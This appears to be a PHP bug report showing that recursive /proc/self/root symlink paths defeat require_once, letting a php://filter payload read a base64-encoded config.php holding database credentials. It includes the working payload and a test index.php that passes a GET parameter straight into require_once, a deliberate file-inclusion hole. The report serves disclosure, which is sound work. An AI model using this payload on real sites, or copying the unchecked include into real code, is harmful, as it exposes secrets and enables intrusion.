Description:
------------
Normally, when we include a file via `require_once()` which has included before, PHP will prevent this behavior.

But when we set the file path to a symbol link, PHP will be fooled. An example in Test script as follows can demonstrate it. And assume there is some secret in `config.php`.

We can pass our payload to `content` query parameter, and then the PHP will resolve the file path to '/proc/24273/root/proc/self/root/var/www/html/config.php'.

Eventually, the `require_once` bypassed. We got the base64-encoded content of `config.php`.

Payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php

Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} 
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';

Expected result:
----------------
Excepted result is `config.php` cannot be included twice by the recursive symbollink.